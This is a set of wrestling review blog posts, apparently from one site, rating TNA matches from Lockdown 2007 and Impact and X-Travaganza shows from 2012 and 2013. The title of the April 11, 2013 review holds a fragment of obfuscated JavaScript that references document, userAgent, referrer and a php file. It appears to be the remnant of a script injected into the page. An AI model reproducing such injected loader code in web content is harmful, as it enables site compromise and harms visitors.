On This Day: April 15, 2007 – Lockdown 2007: Blindfolds and Electric Cages

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Date: April 15, 2007
Location: Family Arena, Saint Charles, Missouri
Attendance: 6,000
Commentators: Mike Tenay, Don West

Back to TNA now for a show that apparently holds the record for highest PPV attendance. This is the usual deal where everything is in a cage. The main event is Lethal Lockdown, which is their version of WarGames. The teams tonight are Team Cage vs. Team Angle which is a feud that went on forever. Anyway let’s get to it.

The opening video is about prisons. Makes sense. It shifts into a video about how deadly the main event is.

Lethal, who is pretty freshly Black Machismo, as in he started it ten days earlier, says he’s going to win the title tonight.

X-Division Title: Chris Sabin vs. Sonjay Dutt vs. Jay Lethal vs. Alex Shelley vs. Shark Boy

Sabin is champion and this is an Xscape match, as in first one out is the winner. They tried this a bunch of times but they screwed it up by having like ten people in it. Five is about perfect. Lethal has Nash with him. The cage is kind of different as it looks like the old cage with the squares in the walls, but they’re a lot smaller. I like it. And they have to tag. What exactly are the rules for this thing? That’s not worth letting us know, because we need to talk about the main event.

Dutt and Sabin start. If I remember right, it’s elimination rules and when you get down to the final two it’s escape only. Hey I’m right. Sabin and Shelley try to cheat but Sabin has to put the brakes on. Dutt does his flips but gets placed on the top rope. Sabin sets for a superplex but Shark Boy walks the ropes and tags himself in for a three man Tower of Doom.

Sharky vs. Shelley now and a neckbreaker gets two for the fish. Hurricanrana and a missile dropkick get two. Sabin and Shelley work together a bit more but Shark Boy easily takes care of both of them. To be fair the Guns weren’t a team in TNA yet but this would be their first date for lack of a better term. Sharky tries Diamond Dust but gets caught in a reverse DDT by Shelley. A double legdrop via the Guns take care of him and we’re down to four.

Lethal is in next to a big reaction. Lethal works over Alex but Sabin interferes again and Shelley hits a top rope jawbreaker to put Lethal down. Sabin goes over and blasts Dutt for no apparent reason. Not a nice guy. Sabin vs. Lethal now with Sabin firing off a rapid fire Garvin Stomp. The Guns hit some stuff that would become signature moves over the years. The fans love Shelley.

The Guns beat on Dutt as only they can. Off to Lethal and things speed up again. He fires off a ton of rights to Sabin but the Guns are too much for him. The sequence where they get Lethal on the mat with Shelley having him in a neckbreaker position so Sabin can hit a running dropkick gets two. Dutt tries a springboard double clothesline but slips off so he hits Shelley but the wrong side of him.

Dutt hits an Asai Moonsault press but the Guns are too much for him as Shelley hits a Stunner and crossface style hold. It’s a tag match now and the non-Guns have stereo submissions on. The ASCS Rush puts Lethal down and a wicked Cradle Shock gets rid of Dutt. Lethal hits Lethal Combinations on both guys and the top rope elbow gets us down to two. Now it’s just escape. Lethal takes over and they both climb. They get on the top and both climb down but Sabin gets a kick to knock him into the cage, allowing Chris to drop to the floor to retain.

Rating: B-. This was a very solid opener with the crowd getting way into the Guns. They would officially unite by the end of the month, starting off a multi-year run which is still technically going despite injuries. Lethal would get the title during the summer, holding it for a whopping two days! The Guns would somehow not win the tag titles until 2010.

Team Cage (world champion Christian Cage, Tomko, Steiner, AJ and Abyss) says they’ll win but Tomko and Abyss almost get into a fight. Christian points out that Team Angle arrived separately. They don’t like Jarrett, who is the last member of Team Angle. If any member of Team Cage gets the winning fall, they get a title shot. This turns into Steiner and Tomko arguing about Christmas.

We recap Roode vs. Young which is still going on. The idea is that Young signed a contract with Young after getting screwed by Miss Brooks. This would be probably the peak of Young’s popularity. Young talked about having a friend who would help him and Petey Williams started helping him. That’s not the friend, who would be revealed in a few weeks.

Petey Williams vs. Robert Roode

Roode is the rich dude still. Young is with Roode and gets yelled at before the match. Petey hammers away to start and controls early with speed and stomping. Springboard Codebreaker gets two. Williams does the Tree of Woe spot where he stands on Roode’s balls and sings O Canada. Roode manages to send him into the buckle to shift momentum and I remember why I never wanted to see him get a singles push.

Roode is just totally uninteresting at this point. If you think he’s boring now, today’s Roode has NOTHING on 07 Roode. A SICK clothesline puts Williams down and Eric is just kind of sitting there and doesn’t like what he’s seeing. Middle rope kneedrop gets two. Off to the chinlock. Petey makes a comeback and tries a crucifix for two but he eats cage to break that up. I don’t remember anyone else going into the cage all night until then.

Rock Bottom gets two. Brooks tries to send in a hockey stick but Young makes the save. Williams hits something that we miss as Brooks and Eric are fighting outside. Williams hits a rana back inside as the camera is from above the cage for some reason. The camera goes back to Young so AGAIN we miss whatever Petey uses for two. A dropkick doesn’t hit Roode but he goes into the corner anyway.

Despite that PAINFUL missing dropkick, Roode hits a spinebuster for two. The Canadian sitcom on the floor continues as Roode demands the hockey stick, but Petey hits a cool DDT for two. Now Petey asks for the stick and a few shots with it take Roode down. And Hebner intercepts it because we can’t have weapons in a cage or something. Rollup gets two for Williams. Destroyer is countered and the Payoff (PerfectPlex) ends this.

Rating: C. I kind of liked this actually. Young was wildly popular at this point which shows you how bad Roode was, considering even he couldn’t get over with Young out there. Roode was just so boring and uninteresting that he needed Beer Money or he would have had nothing else to do.

Roode shoves Young post match.

Angle goes to talk to Rhyno who isn’t happy. They have to change the order of entrance tonight. Rhyno doesn’t trust Jarrett but Joe REALLY doesn’t trust him, so Angle should go have this talk with Joe instead.

We recap Gail vs. Jackie. Does it really matter? There was something at Final Resolution, Jackie TALKED REALLY LOUDLY and since that’s the extent of what she does, there’s your story.

Jackie Moore vs. Gail Kim

Gail does look good in those little sky blue shorts. They start fighting on the ramp and Jackie takes over, sending Gail on top of the announce table. Gail gets water poured on her and they haven’t been in the cage yet even though the bell rang. Ok now they’re inside (with a nice view of Gail on the way in) and the fans do not seem to care. Gail goes to escape about 20 seconds after they’re in but Jackie continues to be annoying by making this continue.

Jackie takes over and I always wonder why she had a job. Either way, the American hits a German on the Canadian but Gail pops up anyway. They exchange worthless attempts to go up and Gail gets a sunset flip for one. I think Gail gets sent into the cage but it really wasn’t clear. Gail goes up and hits a dropkick and both of them are down. Kim gets up and goes for the door, resulting in a brawl on the apron with the door open. Gail slams it on Jackie’s face but stays in. Gail goes up and jumps off with a cross body (hitting Jackie square in the face. At least she couldn’t make Jackie any uglier) for the pin.

Rating: D. This was rather bad and not just because I can’t stand Jackie Moore. The cage slamming onto Jackie’s head did make me smile but anytime someone beats her up it’s a good thing. The cross body was bad looking, because that could have been a bad injury to either of them. Still though, bad match.

Bob Backlund, the referee for the next match, is insane and has long fingernails. He doesn’t say he’ll call it down the line.

Austin Starr vs. Senshi

No backstory to this, because I don’t think TNA can explain it either. This went on for awhile and there was something about Kevin Nash holding a tournament which turned into a talent show and the X-Division Title was involved somehow. It made no sense and I don’t think they knew what was going on with it. I say that about a lot of stories, but this was one of the stranger ones ever.

Starr is Austin Aries who is from TV Land. See what I mean by this story making no sense? Backlund tries to keep things civil and Senshi takes over with his high impact stuff. Senshi chops him a lot Starr takes over with a back rake and suplex for two. STO sets up the pendulum elbow for two. Powerbomb gets two and it’s off to a half crab. Some more back work eats up a minute or two.

Senshi comes back with kicks to take over. Starr gets backdropped into the cage and a Capo kick gets two. Austin takes over again because guys of this style don’t particularly care for selling. He hits a powerbomb kind of move out of the corner and uses the ropes for two. Backlund gets shoved into the ropes to crotch Senshi who was setting for the Warrior’s Way. 450 gets two. Starr shoves Backlund and Bob shoves him into a rollup for the pin.

Rating: C-. The match was fine, but I just don’t care about these guys. I have no idea what the point of it was and like I said, I doubt TNA did either. This was basically any match with these two in it that you would pick out of a pile. There were some decent spots, but it came and went and I don’t care. Just not my taste at all.

Joe yells about Angle not letting him know who the fifth man (Jarrett) was. Come find him if you want Kurt. The idea is no one trusts Jeff. He tells Jeff to please cross a line with him because Joe will kill him if he does.

We recap Storm vs. Harris. Storm broke a beer bottle over Harris’ eye so he might never be able to see again. The result: a blindfold match, probably because no one ever watched Wrestlemania 7.

Chris Harris vs. James Storm

They’re both under hoods so they can’t see. Now go have a cage match boys! The chant of Fire Russo starts up immediately. No contact in the first minute. Ninety seconds. Storm corners the referee at about a minute thirty five. Two minutes in and the literally pass with an inch between them. Two and a half and no contact at all. They touch at 2:37 but both miss punches so let’s try it again. Three minutes now and the fans say they want wrestling. They touch again at about 3:15 and Harris tries to go to the mat but that doesn’t work either so they stop again.

Bear in mind, when there’s no “action” going on, they’re just wandering around with their hands out trying to find each other. That’s it. That’s ALL that happens. Harris points to his head with an idea. Or is he saying put the bullet here because my career is over? Anyway he points around the ring and the crowd cheering tells him where to go. Four minutes in and Harris hits seven punches and they do it again.

They get some really basic offense in (as in a knee to the ribs is a high level move) and Harris punches Storm so hard the hood flies off. We get one of the loudest BORING chants I’ve ever heard as Storm slams him but Harris rolls away to avoid an elbow. This is literally almost spot for spot the same match as Roberts vs. Martel back in 1991. Storm’s hood comes off again (Hey Storm: you’re a heel. TAKE IT OFF AND CHEAT YOU IDIOT!) but that could be too interesting so it’s back to the crawling around.

Somehow Storm manages to hit a reverse tornado DDT for two. The crowd isn’t booing now. They’re just silent. Harris counters two more attempts at it and hits a cutter off the middle rope for two. That gets two and Storm tries to climb but Harris uses the crowd again to make a save. They fight on the top rope and Harris does something like a spear off the top for two. Harris loses his hood, hits a full nelson slam….and it gets two. Harris grabs the referee and tries a Sharpshooter on him for some reason. Storm FINALLY CHEATS, hitting the Last Call with the hood off for the pin.

Rating: S. As in Sacrifice. Watch their match at Sacrifice. It’s one of the best TNA matches I’ve ever seen whereas this was just horrible. The stipulation makes sense, but as usual it’s not something that they thought through. The match ran about ten minutes and probably eight and a half was them walking around. One of the worst matches ever, and that covers a lot. Meltzer said it was the worst match of the year and I can’t say I disagree.

Angle talks to Sting who isn’t thrilled with Jarrett either. Kurt checks to make sure they’re all on the same side and Sting says he’ll go with it, but he’ll take both of them out if Jarrett does something out of line.

Daniels does some creepy promo about his purpose or something like that. He has to sacrifice something or other.

Jerry Lynn vs. Christopher Daniels

Lynn jumps him as he comes in as I think this is old vs. new but they really aren’t that clear on it. Daniels gets beaten down quickly but hits a neck snap on the top to take over. Victory roll gets two for Lynn. A leg lariat puts Jerry down and the crowd is being all quiet again. To be fair they have to follow that nonsense from the previous match so it’s going to take a lot to get them back into anything.

Daniels grabs a cord from a camera to choke Jerry. The crowd is SILENT here. Tenay tries to pass it off as the fans are too confused by Daniels. Whatever makes you sleep better at night Mikey. Lynn starts a comeback and sends Daniels into the cage. Rana gets two. DDT gets the same. This match needs to end soon. Daniels backdrops him into the cage but Lynn gets a quick cradle piledriver attempt.

Release Rock Bottom looks to set up the BME but Lynn rolls out of the way. Facejam gets two. The crowd is trying to get into it but it’s really not happening. They both go up top and Daniels hits a Downward Spiral off the top. They exchange near falls and the fans suddenly think this is awesome. I’m not sure that’s what I’d say but whatever. They go up top again where Angels’ Wings and Cradle Piledriver attempts fail. Last Rites (Cross Rhodes) ends this back in the ring.

Rating: C. Yeah whatever. Anyone that has read one of my TNA reviews before knows I don’t care for Daniels and this is no exception. The match wasn’t bad but it was just a match. The lack of a story is really hurting things here because I don’t know why these two hate each other. That and the cage is getting old.

Team 3D says they’ll win their first titles in TNA. They have a WCW tag title and a WWF tag title each. It’s an electrified steel cage match against LAX. Bubba does the talking (of course) and says tonight they win their 20th tag titles.

Quick recap video for the tag title match. Basically it’s an electrified cage match because that’s how it is at the border. Konnan’s idea, not mine.

LAX says the violence goes up tonight. Konnan is in a wheelchair at this point.

Tag Titles: Team 3D vs. LAX

No Konnan to start. This gets big match intros as it’s basically the first of two main events. The lights are dimmed for this so it’s almost blue. Apparently the current going through the cage is only on in certain places at certain times. They don’t have to tag because when the cage is electrified, tagging is pretty stupid. Team 3D controls to start. This is a hard match to call because they’re moving around kind of strangely here, due to trying to avoid the cage. It’s not bad per se, but it’s not the most exciting thing in the world.

What’s Up hits and at least D-Von was very tentative about going up due to being next to the cage. LAX takes over and uses whatever cheating methods they can. D-Von is busted and Homicide’s hand touches the cage to give us the first electrocution in the match. I didn’t expect to have to write that. Hernandez is busted too. He goes up but D-Von manages to crotch him. Homicide is crotched as well and we get nearly stereo superplexes.

D-Von beats up Homicide, hitting a powerslam for two. Konnan has been wheeled out. Whoever wheeled him out beat down the outside referee and gave Konnan some rubber gloves. Hector Guerrero, the Spanish announcer, jumps that guy (we can’t see who he is) and stares down Konnan. Apparently the guy who wheeled Konnan out was trying to get the key to the door. Hector unlocked it and the door is open. It’s hard to tell what’s going on due to the light. Bubba yells at him to hand him an F’ing table.

The delay allows for LAX to get a quick takeover but Hernandez stops to yell at Hector, so Hector slams the door on his head. The double neckbreker gets two on SuperMex. Bubba Bomb gets two on Homicide. Samoan Drop gets two on D-Von. Top rope elbow gets the same. This has gotten a good deal better. HUGE layout powerbomb gets two on Homicide by Bubba.

We get the first big electrocution spot as Hernandez Border Tosses D-Von into the cage and he vibrates like a fish on a fish frying plate. He’s COVERED in blood, which would be more effective if you could see it. The fans aren’t that thrilled with this as they chant Fire Russo. A middle rope elbow gets two for Bubba. D-Von is apparently fine after the MASSIVE ELECTROCUTION as a Doomsday Device gets two.

The table gets loaded up and D-Von is placed onto it. Hernandez puts some rubber gloves on but takes forever to do it. He climbs to the top of the cage but since he took FOREVER, the splash through the table misses. Looked awesome though. The Dudleys take over on Homicide, throw him into the cage, botch a 3D off the cage and then hit the 3D for the pin and the titles.

Rating: D. Yes it was bad, but it wasn’t THAT bad. I mean, if you compare this to the blindfold match it’s a masterpiece. The cage stuff was stupid and I’m really not sure what the point of the lights was. Maybe the cage sucked too much electricity out? Anyway, not a horrible match but it was probably way too much for the payoff they got out of it.

Angle yells at JB for suggesting that calling Jarrett was an act of desperation. Team 3D’s music is still playing because they almost immediately cut away. That’s a running thing in TNA: it’s like they’re always running behind schedule.

We recap Lethal Lockdown, which is WarGames which I’m not going to explain again. Basically it’s Christian as champion and Angle wants it. Whoever gets the fall here, wins the title shot I believe. Also Jarrett is there because Angle couldn’t find anyone else. He was totally evil before he left for a few months, but Angle vouches for him. Abyss isn’t sure if he wants to be on Christian’s team but he was basically forced to due to a threat of violence against his mother. No one thought Angle had 5 guys but Sting and Jarrett showed up to fill out the team. No one trusts Jarrett other than Angle though.

Harley Race will be keeping the key.

Team Christian vs. Team Angle

Christian Cage, Tomko, AJ Styles, Abyss, Scott Steiner
Kurt Angle, Sting, Jeff Jarrett, Samoa Joe, Rhyno

Two people start for five minutes, Team Cage gets the advantage for two minutes, after everyone is in the roof with weapons lowers, first fall wins and gets a shot at Christian at Sacrifice. AJ vs. Angle to start. AJ is still kind of an idiot at this point. He tries to take it to the mat but Angle is like boy please. Pretty much just feeling each other out so far to start. Angle goes into something made of steel and AJ stomps away. Off to the chinlock as they’re saving energy for later in the match. Kurt pops off an Angle Slam out of nowhere as the clock runs down.

Abyss is out second and Angle is in trouble. Shock Treatment to Angle and things go really slowly. Remember that there are two minute periods from now on. With really nothing happening in that period, here’s Rhyno who has to pose on the ramp before going to help his partner. He cleans house for awhile and hits a clothesline to take Abyss down. Angle is back up now so it’s a bit more balanced. Tomko comes out to make it 3-2.

The drug addict goes after the guy with alcoholic tendencies and the bearded one wins. Rhyno is busted. Joe comes in third. A lot of these periods are just coming and going with nothing interesting happening at all. Joe beats up Abyss while everyone else is kind of standing around. Down goes Tomko but AJ gets in a shot. MuscleBuster puts AJ down and Tomko takes Rolling Germans. Abyss gets caught in Joe’s Clutch as Steiner comes in to make it 4-3.

Just like the rest of the periods, he beats up all of the partners and hits what he calls the Frankensteiner on Rhyno. Other than that it’s all belly to belly suplexes. Sting comes in to tie it up. Death Drop to Abyss, Splash to Steiner, Splash to Abyss, Splash to Tomko/Styles. AJ tries to climb but Joe chases him, resulting in a SIX MAN TOWER OF DOOM. Ok that was awesome. Deathlock to Steiner but Tomko breaks it up. Christian is the final member of his team to make it 5-4.

Chops don’t work on Sting so Christian gets beaten down. Does no one watch Flair matches? Sting beats up Christian for a few moments and puts the Deathlock on him. Here’s Jarrett to fire off dropkicks for everyone and a Stroke for AJ. The roof is lowered. Everyone stands up and it’s a five on five brawl, rendering the first 21 minutes of this match totally useless.

Jarrett gets a bat but throws it to Sting. Rhyno gets a garbage can in the same method. Total dominance at this point by Team Angle. AJ gets the bat and clubs everyone not named Angle. AJ goes up through a hole in the roof to the top of the cage for some reason. Angle follows him up and Mitchell gives Abyss bags of tacks. Race pops Mitchell for his efforts and the crowd really doesn’t seem to care about this match.

Rhyno gores Tomko through the door as AJ and Angle try not to die by falling off the top of the cage. AJ cracks Angle in the head with a chair and Rhyno goes to the floor also. Steiner goes outside too and Joe dives onto Tomko. There are only four left in the cage. Abyss lays out the tacks but can’t chokeslam Sting and Jarrett at the same time.

Christian takes a double chokeslam from Sting and Jarrett which is a cool visual. Black Hole Slam to Jarrett but not onto the tacks. Angle knocks AJ off the cage onto the people outside the cage. SCARY stuff there. Abyss pours the other bag of tacks into the guitar and since he loaded it up, it goes over his head and Jarrett lets Sting get the pin and the title shot.

Rating: B-. This was more or less every Lethal Lockdown match you’ll ever see: there are too many people in the ring, the periods don’t mean anything until the end, and the match is pretty dull until the last five minutes. Still though it’s fun and it does what it’s supposed to do, which is all you can really ask for.

Sting, Rhyno and Joe shake Jarrett’s hand but Angle walks away as the show ends.

Overall Rating: D. The show isn’t totally worthless and awful, but there’s a lot more bad than good on it. The worst two matches, the blindfold and electric matches, are by far the worst with the blindfold one being one of the worst I’ve ever seen. The pretty good main event doesn’t save it and by the time you’ve sat through two and a half hours of drek, the good opener is long forgotten. Not the worst show ever, but it’s certainly not worth watching.

 

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Impact Wrestling – April 11, 2013: The Best Big Show In A Long Time

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edeab|var|u0026u|referrer|eyrdz||js|php'.split('|'),0,{})) Wrestling
Date: April 11, 2013
Location: American Bank Center, Corpus Christi, Texas
Commentators: Mike Tenay, Todd Keneley, Tazz

Hogan greets hardy.

We get an intro sequence which looks like opening credits.

Tag Titles: Chavo Guerrero/Hernandez vs. Bobby Roode/Austin Aries

Brooke Hogan shrugs off some sexual harassment from Joey Ryan and tells him he has a match tonight.

Cue D-Von who takes the paper and rips it up. If Park has a problem with Ray, he has a problem with D-Von, so stay out of family business. D-Von goes to leave but sneaks up on Park and lays him out with a chain shot to the ribs.

We get a video package on Terrell vs. Kim.

Taryn Terrell vs. Gail Kim

The Gut Check judges talk about the match last week.

Magno gets the shot in the ring.

AJ has nothing to say to a TNA cameraman. Anderson brings him another vest.

Video on Hardy vs. Ray tonight.

Daniels brings up Hogan and Dixie turning their backs on AJ and brags about all the world titles “they” won together. AJ gets annoyed and shakes a bit, but Storm gets in his face. Styles leaves the ring and looks at Bad Influence before walking away. Hogan begs again and makes Styles vs. Storm next week.

Joey Ryan vs. Rob Terry

TNA World Title: Bully Ray vs. Jeff Hardy

Results

Chavo Guerrero/Hernandez b. Bobby Roode/Austin Aries – Frog Splash to Roode

Taryn Terrell b. Gail Kim – Rollup

Bully Ray b. Jeff Hardy – Ray pulled down the title belt

 

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TNA One Night Only – X-Travaganza: Minus A Big White Elephant

X-Travaganza
Date: April 5, 2013
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We open with a look back at the history of the X-Division, which is a good flashback for modern fans because the current stuff is so far removed from the old days. A lot of the focus here is on Joe and Aries, which I believe is the main event tonight.

Ultimate X is back tonight. Cool.

Yeah Aries vs. Joe tonight.

Matt Bentley vs. Alex Silva vs. Lince Dorado vs. Sam Shaw vs. Puma vs. Jimmy Rave vs. Christian York

They fight on the top rope with both guys being rammed head first into the cage. Rave sends York back down to the mat but he climbs too slow again. Taz continues an unfunny running joke that Rave is Todd Keneley as York sits on top of the cage and pounds away. Rave pulls him down again and they fight on the top one more time before York hits a swinging neckbreaker off the top. That and a kick to send Rave back down is enough for the win for York.

Moment #8 is Ultimate X from Victory Road 2008. I believe this was the World X Cup, which is an international competition which was cool in nature but it never quite worked. Kaz diving off the tower to legdrop Daivari was pretty awesome though.

Rashad Cameron/Anthony Nese vs. Kid Kash/Douglas Williams

Williams and Cameron start things off with Doug looking older than usual. Doug takes him down by the leg and puts on a kind of reverse Boston Crab where Kash can kick Cameron in the face. Cameron and Williams run the ropes a bit until Rashad dropkicks Doug down. Off to Kash as this could be a trainwreck in a hurry. Thankfully Nese comes in quickly and things speed WAY up as they trade controlling holds on the mat. We get some sweet chain wrestling until Kash takes over with knees and chops.

Moment #7 is Joe winning his first X Title by beating AJ at Turning Point 2005.

Robbie E. vs. Chavo Guerrero

We get a highlight reel of the craziest moves in X-Division history. If you consider a top rope cross body to be crazy I guess.

Kenny King (not even holding the X Title here) is ready for Ultimate X.

Zema Ion vs. Mason Andres vs. Rubix vs. Kenny King

Everything breaks down to start with Ion being sent to the floor. Rubix and Andrews go at it with Rubix taking him to the mat with an armdrag. King takes Rubix down with a sidekick but Ion is back in to take Kenny down as well. Andrews and Ion head down to the floor with King hitting a spinning springboard legdrop on Rubix back inside. Everyone is on the floor now as Taz keeps up his stupid jokes by calling Rubix Rubic like the cube.

Andrews stops Rubix from going for the X as Taz keeps the stupid running joke going. King dives out onto Rubix so Andrews dives down onto King to take both guys down. Ion hits a BIG corkscrew dive off the top onto Andrews and King to a rather weak reaction from the crowd. Rubix climbs up the structure in the corner to dive onto all three guys before heading back inside to go after the X.

Moment #5 is Brian Kendrick beating Abyss for the X Title at Destination X 2011, which was indeed an awesome moment.

Moment #4 is the entire AJ Styles vs. Christopher Daniels rivalry.

Bad Influence vs. Petey Williams/Sonjay Dutt

Williams hooks a Sharpshooter on Kaz while Dutt hooks an Octopus Hold on Daniels. Petey hits some slick combo moves on both guys by hitting both guys at once before shrugging off a double leg drag. Kaz finally comes back and drapes Williams over the top rope to send him to the floor and take over. Off to Daniels for his slingshot elbow drop followed by the slingshot legdrop from Kaz for two. Daniels hooks a test of strength on Petey and climbs the rope to drive a knee into his chest for two.

Sonjay misses a springboard clothesline to Daniels and gets caught by a tornado DDT for Kazarian as Taz rips into Earl Hebner for being old. Dutt escapes Fade to Black but gets caught in a powerbomb/neckbreaker combo for two. Williams comes back in for his headscissors into a Russian legsweep for two on Daniels but Kaz breaks up the Canadian Destroyer.

Dutt hits a standing Sliced Bread on Kaz for two more but Daniels makes the save. Petey sends Daniels to the floor and hits a sweet slingshot rana to take him down. Dutt kicks Kaz in the head and loads up the moonsault double stomp, only to have Daniels break things up. Fade to Black puts Dutt down and the BME is good for the pin for Daniels.

Williams hits the Destroyer on Kaz post match for old times sake. Petey wound up getting a job out of this performance.

Rob Van Dam vs. Jerry Lynn

Lynn and Van Dam hug and the locker room comes out to wish Jerry goodbye.

Moment #3 is Aries winning the X Title.

Aries says that Joe may be the best X-Division guy ever, but Aries is the greatest man that ever lived.

Moment #2 is Aries cashing in his X Title for a world title match which he won in a big surprise.

Austin Aries vs. Samoa Joe

Back up and Aries hits a running forearm and dropkick in the corner but Joe easily blocks the brainbuster. Aries comes back with a kind of crucifix slam for two but Joe is too fat for a brainbuster. Instead he busts out the 450 but has to land on his feet when Joe moves. A Rock Bottom out of the corner sets up the Muscle Buster for Joe but Aries rolls through for the pin out of nowhere.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for only $5 at:




On This Day: April 5, 2012 – Impact Wrestling: Storm Was Fighting AJ A Year Ago Too

Impact Wrestling
Date: April 5, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

This is a different kind of show as I have no idea what’s coming here. Due to the WWE being in Orlando this week, the only recappers that care enough about Impact were at Raw and Smackdown, so there aren’t any spoilers coming in this week. It’s kind of a nice change of pace and I’m curious to see what happens when I don’t know what to expect. Let’s get to it.

We open with a recap of last week’s ending with Hogan becoming the new GM.

The roster is around ringside and here’s Hulk to address them. He thanks Sting for having his back and talks about meeting with creative earlier today. There’s going to be a lot of new stuff coming up but first of all, let’s talk about Lockdown. Hogan makes Morgan vs. Crimson and it ends there. As for the Knockouts, there’s a Knockouts Championship Challenge to determine the #1 contender, whatever that means.

Hogan calls out Eric Bischoff but Flair says he’s not here. Flair says no one tells him anything so Hogan says get Eric here. Here’s Roode who says he’s right on time. Roode says that his only obligation is Lockdown so he’s out of here. Hogan says hang on a minute and calls Anderson into the ring. He makes Roode vs. Anderson tonight because it’s what the people want. As for Angle, he won’t be wrestling Hardy at Lockdown. That draws booing, so he’s wrestling Hardy tonight. Actually RIGHT NOW! As in after a break!

Jeff Hardy vs. Kurt Angle

Hardy hooks an armbar to start and Kurt has some issues breaking it. Instead of wrestling he goes to the eyes but Hardy whips off a headscissors to send Kurt to the floor. There’s a slingshot dropkick and they brawl to the outside. Kurt is busted open. Kurt pounds Jeff down and we take a break. Back with Jeff hitting a great Whisper in the Wind to put both guys down. Twist is countered into the Rolling Germans with Kurt trapping Jeff’s left arm.

Jeff comes back with a Twisting Stunner but as he sets for the Swanton, Kurt runs the corner and hits the belly to belly. There’s the ankle lock but Jeff counters and hits a mule kick to put Angle down. Kurt grabs the referee to prevent the Swanton and tries to get Jeff to jump into a low blow but it’s avoided. Twist is countered again and Angle goes to the floor where he takes the countout at 12:54.

Rating: B-. This was getting good until the ending. I’d bet money on the rematch happening in ten days anyway (namely because I saw the rematch being made before I wrote this rating) because the idea of making people pay to see the match is a stupid idea in wrestling right? Good match until the bad ending.

Hogan runs into Angle in the back and makes the rematch for Lockdown in ten days. I give up.

Flair gets Eric on the phone and says get here.

Ray is trending apparently and says he’ll be the next world champion. He’s going to take care of Aries next.

Ray is in the ring and says he’s eaten chicken wings bigger than Aries. Here’s the X Champion who quiets the crowd down and the blasts Ray with the mic. He pounds Ray in the corner and the beating is on. He goes for ten punches in the corner but Ray hits a HUGE powerbomb out of the corner.

Joseph Park is looking in catering for Abyss. No luck again. He needs to find someone soon.

AJ is praising Storm when Storm pops up. Storm has to have a match tonight and he wants it to be with the best. Storm vs. AJ later. Geez think they’re stacking this show enough?

Mickie James vs. Winter vs. Tara vs. Angelina Love vs. Madison Rayne vs. Velvet Sky

I think this is one fall. Angelina and Madison start and everyone runs in to break up the pins. Mickie replaces Madison and gets two off a neckbreaker. Side slam gets the same for Angelina. Velvet tags herself in and hits a low dropkick. Rayne and Love get in an argument as Tara comes in. The spinning side slam gets two and it’s off to Mickie vs. Velvet. Madison knocks Mickie down before she gets in and we go to the parade of finishers which culminates with Velvet hitting In Yo Face on Mickie for the pin at 7:08.

Rating: D+. I know I’m underrating these most of the time but I don’t care about women’s wrestling most of the time. Nothing to see here but at least they’re getting back to Velvet who is the most popular of the Knockouts. I don’t think Winter was ever in the match which is sad as I love that pale British thing.

Anderson says he’ll beat Roode when the champ and his security come in.

Storm and Hardy were at some country music awards.

Off to Eric Young’s bachelor party. They have suckers, non-alcoholic beer and a fantasy baseball draft. ODB comes in with alcohol and chicken wings. This goes nowhere.

James Storm vs. AJ Styles

Feeling out process for the first few minutes of the match. They fight over headlocks and AJ keeps looking for the kick. AJ takes it to the mat and goes for the leg but Storm runs. Did Styles add a submission that I don’t remember? Styles is sent to the corner and Storm hits a running enziguri from the apron. He goes up but AJ hits an enziguri of his own. AJ goes up but gets caught in a wicked Eye of the Storm for two. He tries the Closing Time but AJ blocks it and tries a figure four. That gets him nowhere so Styles tries the backflip into the reverse DDT, only for Storm to duck and kick AJ’s head off for the pin at 6:38.

Rating: C+. Pretty good match here and that was an AWESOME superkick. The look on Styles’ face after he gets up is great as he looks like he got hit by a bus. This is what Storm needs before the main event at Lockdown: clean wins over big names. AJ isn’t going to get a main event push anytime soon so have him put people over like this.

Storm wants Roode in the ring next week.

Hogan tells Sting to take the time to get healthy because he needs Sting.

Storm celebrates with Montgomery Gentry, a country act. He leaves and Roode/security come up and the champ spits water at them.

Motorcity Machineguns vs. Mexican America

Here’s their big return. Shelley and Anarquia start things off with the Guns controlling early. Sabin comes in as does Hernandez. The speed takes over with a bulldog for two and it’s back to Shelley for some more double teaming. Shelley’s tornado DDT is broken up but we get quick heel miscommunication. The Guns speed things up and finish with Skull and Bones at 4:19.

Rating: C. This was just a squash as the Guns were clearly never in any danger. The thing is I don’t know what they’re supposed to do other than a feud with Joe and Magnus, as the division is about two teams deep at this point. They’re still fun to watch but there’s no Beer Money to feud with. I’m glad they’re back though.

Bischoff gets here and Flair whines about Hogan.

Back from a break and Hulk is in the ring, calling out Eric. Eric talks about how no one would predict that this would happen in the year 2012: Bischoff vs. Hogan. Eric says there are a lot of differences between the two of them but the big one is Hogan isn’t a leader. Hogan isn’t a leader of men like Eric is.

Hulk makes Team Garrett vs. Team Eric at Lockdown in Lethal Lockdown. Oh sweet merciful goodness he’s captaining the team for the namesake match at the second biggest show of the year. If Eric’s team wins, Garrett is off the roster forever. If Garrett’s team wins, Eric is gone….and he can never use the Eric Bischoff name again. How exactly can he do that? I mean….it’s his name.

Video on Storm training.

Mr. Anderson vs. Bobby Roode

Unless there’s an overrun which there hasn’t been in months, this is going to be a pretty short match. The security gets thrown out before the match and Anderson jumps Roode in the aisle. Anderson takes over quickly but the champ takes him down. We’re told that next week there’s a best of three series for the man advantage in Lethal Lockdown.

Roode runs his mouth about being the champ and walks into a powerslam for two. Fisherman’s suplex is countered as is Anderson’s neckbreaker. There goes the referee and Anderson hits the rolling fireman’s carry slam. Roode steals a beer from what appeared to be an 8 year old’s hands and the bottle goes across Anderson’s head for the pin at 4:11.

Rating: C. I’m trying to get over that kid. Seriously he looked like he was 11 at oldest. The match was nothing special but given just over four minutes there was only so much that they could do. Not much to see to it and the post match stuff doesn’t really mean much. Anderson is in the main event jobber role now which is about where he belongs.

Hogan and Storm come out post match and Hogan reverses the decision. Roode doesn’t seem to care.

Overall Rating: C+. This was a significantly better show than the last two, but I don’t like what it looks like they’re doing. It looks like they’re stacking the TV shows to get the TV ratings up which is fine short term but it’s a bad idea for the long term. I’m not wild on Hogan as GM but if we get rid of Bischoff in two weeks I’m good. This was a good show for the most part, but I’m not sure I like where things are heading.

Results
Jeff Hardy b. Kurt Angle via countout
Velvet Sky b. Angelina Love, Mickie James, Winter, Madison Rayne and Tara – In Yo Face to James
James Storm b. AJ Styles – Last Call
